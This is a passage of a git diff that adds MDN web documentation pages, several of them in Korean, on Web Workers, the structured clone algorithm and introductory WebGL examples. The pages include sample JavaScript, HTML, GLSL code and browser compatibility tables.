+ +
var queryableFunctions = {
+  // example #1: get the difference between two numbers:
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // example #2: wait three seconds
+  waitSomeTime: function () {
+      setTimeout(function() { reply("doAlert", 3, "seconds"); }, 3000);
+  }
+};
+
+// system functions
+
+function defaultReply (message) {
+  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+  // do something
+}
+
+function reply () {
+  if (arguments.length < 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "queryMethodListener": arguments[0], "queryMethodArguments": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("queryMethod") && oEvent.data.hasOwnProperty("queryMethodArguments")) {
+    queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
+  } else {
+    defaultReply(oEvent.data);
+  }
+};
+ +

It is possible to switch the content of each mainpage -> worker and worker -> mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in QueryableWorker and the worker.

+ +

Passing data by transferring ownership (transferable objects)

+ +

Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.

+ +
// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i < uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+ +
+

Note: For more information on transferable objects, performance, and feature-detection for this method, read Transferable Objects: Lightning Fast! on HTML5 Rocks.

+
+ +

Embedded workers

+ +

There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a src attribute and has a type attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>MDN Example - Embedded worker</title>
+<script type="text/js-worker">
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  var myVar = "Hello World!";
+  // Rest of your worker code goes here.
+</script>
+<script type="text/javascript">
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+  function pageLog (sMsg) {
+    // Use a fragment: browser will only render/reflow once.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+</script>
+<script type="text/js-worker">
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // Rest of your worker code goes here.
+</script>
+<script type="text/javascript">
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+
+  // In the past...:
+  // blob builder existed
+  // ...but now we use Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // Creating a new document.worker property containing all our "text/js-worker" scripts.
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // Start the worker.
+  window.onload = function() { document.worker.postMessage(""); };
+</script>
+</head>
+<body><div id="logDisplay"></div></body>
+</html>
+ +

The embedded worker is now nested into a new custom document.worker property.

+ +

It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:

+ +
function fn2workerURL(fn) {
+  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+  return URL.createObjectURL(blob)
+}
+ +

Further examples

+ +

This section provides further examples of how to use web workers.

+ +

Performing computations in the background

+ +

Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.

+ +

The JavaScript code

+ +

The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.

+ +
var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i <= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };
+ +

The worker sets the property onmessage to a function which will receive messages sent when the worker object's postMessage() is called (note that this differs from defining a global variable of that name, or defining a function with that name. var onmessage and function onmessage will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.

+ +

The HTML code

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8"  />
+    <title>Test threads fibonacci</title>
+  </head>
+  <body>
+
+  <div id="result"></div>
+
+  <script language="javascript">
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  </script>
+  </body>
+</html>
+ +

The web page creates a div element with the ID result , which gets used to display the result, then spawns the worker. After spawning the worker, the onmessage handler is configured to display the results by setting the contents of the div element, and the onerror handler is set to dump the error message.

+ +

Finally, a message is sent to the worker to start it.

+ +

Try this example.

+ +

Performing web I/O in the background

+ +

You can find an example of this in the article Using workers in extensions .

+ +

Dividing tasks among multiple workers

+ +

As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.

+ +

Other types of worker

+ +

In addition to dedicated and shared web workers, there are other types of worker available:

+ + + +

Functions and interfaces available in workers

+ +

You can use most standard JavaScript features inside a web worker, including:

+ + + +

The main thing you can't do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.

+ +
+

Note: For a complete list of functions available to workers, see Functions and interfaces available to workers.

+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#toc-workers')}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers')}}{{Spec2('Web Workers')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4[1]{{CompatGeckoDesktop("1.9.1")}}10.010.6[1]4[2]
Shared workers4[1]{{CompatGeckoDesktop(29)}}{{CompatNo}}10.65
+ {{CompatNo}} 6.1[4]
Passing data using structured cloning13{{CompatGeckoDesktop(8)}}10.011.56
Passing data using transferable objects17 {{property_prefix("webkit")}}
+ 21
{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Global {{domxref("window.URL", "URL")}}10[3]
+ 23
{{CompatGeckoDesktop(21)}}11156[3]
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44[1]3.51.0.110.011.5[1]5.1[2]
Shared workers{{CompatNo}}4[1]81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using structured cloning{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using transferable objects{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ +

[1] Chrome and Opera give an error "Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'." when you try to run a worker locally. It needs to be on a proper domain.

+ +

[2] As of Safari 7.1.2, you can call console.log from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call console.log from inside a worker.

+ +

[3] This feature is implemented prefixed as webkitURL.

+ +

[4] Safari removed SharedWorker support.

+ +

See also

+ + diff --git a/files/ko/web/api/web_workers_api/index.html b/files/ko/web/api/web_workers_api/index.html new file mode 100644 index 0000000000..82f4e11f55 --- /dev/null +++ b/files/ko/web/api/web_workers_api/index.html @@ -0,0 +1,92 @@ +--- +title: Web Workers API +slug: Web/API/Web_Workers_API +tags: + - API + - Overview + - Reference + - Web Workers + - 워커 + - 웹 워커 +translation_of: Web/API/Web_Workers_API +--- +
{{DefaultAPISidebar("Web Workers API")}}
+ +

웹 워커(Web worker)는 스크립트 연산을 웹 어플리케이션의 주 실행 스레드와 분리된 별도의 백그라운드 스레드에서 실행할 수 있는 기술입니다. 웹 워커를 통해 무거운 작업을 분리된 스레드에서 처리하면 주 스레드(보통 UI 스레드)가 멈추거나 느려지지 않고 동작할 수 있습니다.

+ +

웹 워커의 개념과 활용법

+ +

워커는 이름을 지정한 JavaScript 파일을 구동하는 객체로서 {{domxref("Worker.Worker", "Worker()")}} 등의 생성자로 생성합니다. 해당 파일은 현재 {{domxref("window")}}와는 다른 전역 맥락에서 동작하는 워커 스레드에서 작동합니다. 이 때, 전역 맥락은 전용 워커(단일 스크립트에서만 사용하는 워커)의 경우 {{domxref("DedicatedWorkerGlobalScope")}} 객체이고, 공유 워커(여러 스크립트에서 공유하는 워커)의 경우 {{domxref("SharedWorkerGlobalScope")}} 객체입니다.

+ +

원하는 코드는 뭐든 워커 스레드에서 실행할 수 있으나 몇 가지 예외가 존재합니다. 예를 들어 워커에서 DOM을 직접 조작할 수 없고, {{domxref("window")}}의 일부 메서드와 속성은 사용할 수 없습니다. 그러나 WebSocketIndexedDB를 포함한 많은 수의 항목은 사용 가능합니다. 워커에서 사용할 수 있는 함수와 클래스에서 더 자세히 알아보세요.

+ +

워커와 메인 스레드 간의 데이터 교환은 메시지 시스템을 사용합니다. 양측 모두 postMessage() 메서드를 사용해 전송하고, onmessage 이벤트 처리기(메시지는 {{Event("Message")}}의 data 속성에 들어있습니다)를 사용해 수신합니다. 전송하는 데이터는 복사하며 공유하지 않습니다.

+ +

워커 역시 새로운 워커를 생성할 수 있습니다. 단, 생성하려는 워커가 부모 페이지와 동일한 {{glossary("origin", "출처")}}에 호스팅 되어있어야 합니다. 추가로, 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 입출력을 할 수 있지만 responseXMLchannel 특성은 항상 {{jsxref("null")}}을 반환합니다.

+ +

전용 워커 외에도 다음과 같은 다른 유형의 워커도 존재합니다.

+ + + +

웹 워커 인터페이스

+ +
+
{{domxref("AbstractWorker")}}
+
모든 종류의 워커({{domxref("Worker")}}, {{domxref("SharedWorker")}} 등)에 공통적인 속성과 메서드를 추상화합니다.
+
{{domxref("Worker")}}
+
실행 중인 워커 스레드를 나타냅니다. 현재 작동 중인 워커로 메시지를 전송할 때 사용할 수 있습니다.
+
{{domxref("WorkerLocation")}}
+
{{domxref("Worker")}}가 실행하는 스크립트의 절대 위치를 정의합니다.
+
{{domxref("SharedWorker")}}
+
다수의 창, {{htmlelement("iframe")}}, 혹은 다른 워커 등 {{glossary("Browsing context", "브라우징 맥락")}} 여러 개에서 접근할 수 있는 특정 종류의 워커를 나타냅니다.
+
{{domxref("WorkerGlobalScope")}}
+
모든 워커의 통용 범위를 나타냅니다. 통용 범위는 일반적인 웹 콘텐츠의 {{domxref("Window")}}와 같은 역할을 합니다. 각각의 워커 유형별로 이 인터페이스를 상속한 후 보다 세부적인 기능을 추가한 인터페이스를 전역 범위 객체로 사용합니다.
+
{{domxref("DedicatedWorkerGlobalScope")}}
+
{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 전용 워커의 범위를 나타냅니다.
+
{{domxref("SharedWorkerGlobalScope")}}
+
{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 공유 워커의 범위를 나타냅니다.
+
{{domxref("WorkerNavigator")}}
+
사용자 에이전트(클라이언트)의 신분과 상태를 나타냅니다.
+
+ +

예제

+ +

워커의 기본 사용법을 보이는 간단한 데모를 준비해놨습니다.

+ + + +

웹 워커 사용하기에서 데모의 동작법을 자세히 알아볼 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#toc-workers')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html new file mode 100644 index 0000000000..02e4eff883 --- /dev/null +++ b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -0,0 +1,153 @@ +--- +title: The structured clone algorithm +slug: Web/API/Web_Workers_API/Structured_clone_algorithm +translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +--- +

The structured clone 알고리즘은 복잡한 자바스크립트 객체의 직렬화을 위해서 HTML5 specification에 의해서 정의된 새로운 알고리즘 입니다. 이것은 순환그래프를 포함하는 객체의 직렬화를 지원하기 때문에 JSON보다 더 유용합니다. — 객체는 같은 그래프에서 다른객체를 참조하는 객체를 참조할 수 있습니다. 이러한 케이스들에서는 structured clone알고리즘이 아마도 JSON보다 더 효율적일 것입니다.

+ +

 알고리즘은 본질적으로 원본 객체의 모든 필드를 거치고 각 필드의 값들을 새로운 객체로 복제합니다. 만약 필드가 객체를 가졌다면 모든 필드와 그 서브필드가 새로운 객체로 복제될 때 까지 재귀적으로 동작합니다.

+ +

JSON을 넘는 이득

+ +

JSON을 뛰어넘는 structured clone알고리즘의 여러가지 핵심 이득이 있습니다.

+ + + +

structured clones과 함께 동작하지 않는 것들

+ + + +

Supported types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Object typeNotes
All primitive types하지만 심볼들은 포함하지 않습니다.
Boolean object 
String object 
Date 
RegExplastIndex필드는 보존되지 않습니다.
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferView이것은 기본적으로 int32Array나 기타같은 typed arrays의 모든것을 의미합니다.
{{ domxref("ImageData") }} 
Array 
Object이것은 그냥 plain객체들을 포함합니다.(e.g. 객체 리터럴)
Map 
Set 
+ +

또 다른 방법 : 깊은 복사(deep copy‎)

+ +

 객체의 깊은 복사(deep copy)를 원한다면(모든 프로토타입 체인과 내포된 속성들 까지도), 또다른 접근방식을 사용해야만 합니다. 아래의 예제를 확인하세요.

+ +
function clone(objectToBeCloned) {
+  // Basis.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filter out special objects.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implement other special objects here.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone each property.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+
+ +
  Note: 이 알고리즘은 실제로 RegExp, Array, 와 Date스페셜 객체들을 구현했습니다. 필요에 따라서 다른 특수한 케이스들을 구현할 수 있습니다.
+ +

See also

+ + diff --git a/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html new file mode 100644 index 0000000000..c79b2f508d --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html @@ -0,0 +1,110 @@ +--- +title: 클릭을 통한 청소 +slug: Web/API/WebGL_API/By_example/Clearing_by_clicking +translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}

+ +
+
+

어떻게 유저와 그래픽 기능들과의 상호작용을 결합시킬까. 유저가 클릭을 할 때 랜덤의 색을 가진 랜더링 컨텍스트를 청소하는 것.

+
+ +

{{EmbedLiveSample("clearing-by-clicking-source",660,425)}}

+ +
+

랜덤 색을 가진 랜더링 컨텍스트를 청소

+ +

이 간단한 예시는 어떻게 유저 인터페이스와 {{Glossary("WebGL")}}를 결합할지에 대한 설명을 제공합니다. 유저가 캔버스 혹은 버튼을 클릭할 때 마다, 캔버스는 랜덤으로 선택된 색으로 초기화됩니다.

+ +

어떻게 내장된 {{Glossary("WebGL")}} 기능이 이벤트 핸들러의 내부를 부르는 지를 주목하세요. 

+
+ +
+
<p>A very simple WebGL program that still shows some color and
+    user interaction.</p>
+<p>You can repeatedly click the empty canvas or the button below
+    to change color.</p>
+<canvas id="canvas-view">Your browser does not seem to support
+    HTML5 canvas.</canvas>
+<button id="color-switcher">Press here to switch color</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // Cleaning after ourselves. The event handler removes
+  // itself, because it only needs to run once.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // Adding the same click event handler to both canvas and
+  // button.
+  var canvas = document.querySelector("#canvas-view");
+  var button = document.querySelector("#color-switcher");
+  canvas.addEventListener("click", switchColor, false);
+  button.addEventListener("click", switchColor, false);
+
+  // A variable to hold the WebGLRenderingContext.
+  var gl;
+
+  // The click event handler.
+  function switchColor () {
+    // Referring to the externally defined gl variable.
+    // If undefined, try to obtain the WebGLRenderingContext.
+    // If failed, alert user of failure.
+    // Otherwise, initialize the drawing buffer (the viewport).
+    if (!gl) {
+      gl = canvas.getContext("webgl")
+        || canvas.getContext("experimental-webgl");
+      if (!gl) {
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+    // Get a random color value using a helper function.
+    var color = getRandomColor();
+    // Set the clear color to the random color.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // Clear the context with the newly set color. This is
+    // the function call that actually does the drawing.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Random color helper function.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}

diff --git a/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html new file mode 100644 index 0000000000..087a614d5d --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html @@ -0,0 +1,72 @@ +--- +title: WebGL 찾기 +slug: Web/API/WebGL_API/By_example/Detect_WebGL +translation_of: Web/API/WebGL_API/By_example/Detect_WebGL +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}

+ +
+
+

이 예시는 어떻게 {{Glossary("WebGL")}} 랜더링 컨텐츠를 찾고, 유저에게 결과를 보고할지를 보여줍니다.

+
+ +

{{EmbedLiveSample("detect-webgl-source",660,150)}}

+ +
+

기능-검색 WebGl

+ +

이 첫 예시에서, 우리는 브라우저가 {{Glossary("WebGL")}}를 지원하는지 아닌 지를 확인합니다. 우리는 {{domxref("HTMLCanvasElement","canvas")}} element로 부터 {{domxref("WebGLRenderingContext","WebGL rendering context","",1)}}을 얻기 위하여 노력합니다. {{domxref("WebGLRenderingContext","WebGL rendering context", "", 1)}}는 당신이 설정하고 그래픽 기계의 상태를 쿼리하고, WebGl에 데이터를 전송하고, 그리기 명령어들을 실행할 수 있는 인터페이스입니다.

+ +

한 문장 인터페이스에서 그래픽 기계의 상태를 저장하는 것은 {{Glossary("WebGL")}}에 고유하지 않습니다. 이것은 또한 다른 그래픽 {̣{Glossary("API")}}, {{domxref("CanvasRenderingContext2D","canvas 2D rendering context", "", 1)}}에 의해 행해집니다. 하지만 특성과 당신이 만드는 변수들은 각 {̣{Glossary("API")}}에서 다를 수 있습니다.

+
+ +
+
<p>[ Here would go the result of WebGL feature detection ]</p>
+<button>Press here to detect WebGLRenderingContext</button>
+
+ +
body {
+  text-align : center;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
// Run everything inside window load event handler, to make sure
+// DOM is fully loaded and styled before trying to manipulate it.
+window.addEventListener("load", function() {
+  var paragraph = document.querySelector("p"),
+    button = document.querySelector("button");
+  // Adding click event handler to button.
+  button.addEventListener("click", detectWebGLContext, false);
+  function detectWebGLContext () {
+    // Create canvas element. The canvas is not added to the
+    // document itself, so it is never displayed in the
+    // browser window.
+    var canvas = document.createElement("canvas");
+    // Get WebGLRenderingContext from canvas element.
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+    // Report the result.
+    if (gl && gl instanceof WebGLRenderingContext) {
+      paragraph.innerHTML =
+        "Congratulations! Your browser supports WebGL.";
+    } else {
+      paragraph.innerHTML = "Failed to get WebGL context. "
+        + "Your browser or device may not support WebGL.";
+    }
+  }
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}

diff --git a/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html new file mode 100644 index 0000000000..45541f1a0b --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html @@ -0,0 +1,168 @@ +--- +title: Hello GLSL +slug: Web/API/WebGL_API/By_example/Hello_GLSL +translation_of: Web/API/WebGL_API/By_example/Hello_GLSL +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}

+ +
+
+

매우 간단한 색이 있는 단단한 사각형을 그려주는 쉐이더 프로그램

+
+ +
+

Note: 이 예시는 대부분 모든 최신의 데스크탑 브라우저에서 동작합니다. 하지만 어떤 모바일 혹은 낡은 브라우저에서는 동작하지 않습니다. 만약 캔버스가 공백인 상태로 남아있다면, 당신은 정확히 똑같은 것을 그리는 다음 예시의 결과를 확인하실 수 있습니다. 하지만 다음으로 넘어가기 전에, 여기서 설명과 코드를 읽고 가는 것을 기억하세요

+
+ +

{{EmbedLiveSample("hello-glsl-source",660,425)}}

+ +
+

Hello World 프로그램 in GLSL

+ +

매우 간단한 첫 쉐이더 프로그램

+
+ +
+ + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+void main() {
+  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}

diff --git a/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html new file mode 100644 index 0000000000..6d4ad29fe1 --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html @@ -0,0 +1,181 @@ +--- +title: Hello vertex attributes +slug: Web/API/WebGL_API/By_example/Hello_vertex_attributes +translation_of: Web/API/WebGL_API/By_example/Hello_vertex_attributes +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}

+ +
+
+

쉐이더 프로그래밍과 유저 인터페이스를 정점 속성을 이용하여 합치기.

+
+ +

{{EmbedLiveSample("hello-vertex-attributes-source",660,425)}}

+ +
+

Hello World program in GLSL

+ +

어떻게 GPU 메모리에 데이터를 저장함으로써 쉐이더 프로그램에 입력 값을 넣을 수 있을까? 

+
+ +
+ + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+precision highp float;
+
+attribute float position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+precision mediump float;
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  document.querySelector("canvas").addEventListener("click",
+    function (evt) {
+      var clickXrelativToCanvas =
+          evt.pageX - evt.target.offsetLeft;
+      var clickXinWebGLCoords =
+          2.0 * (clickXrelativToCanvas- gl.drawingBufferWidth/2)
+          / gl.drawingBufferWidth;
+      gl.bufferData(gl.ARRAY_BUFFER,
+        new Float32Array([clickXinWebGLCoords]), gl.STATIC_DRAW);
+      gl.drawArrays(gl.POINTS, 0, 1);
+    }, false);
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+window.addEventListener("beforeunload", cleanup, true);
+function cleanup() {
+  gl.useProgram(null);
+  if (buffer)
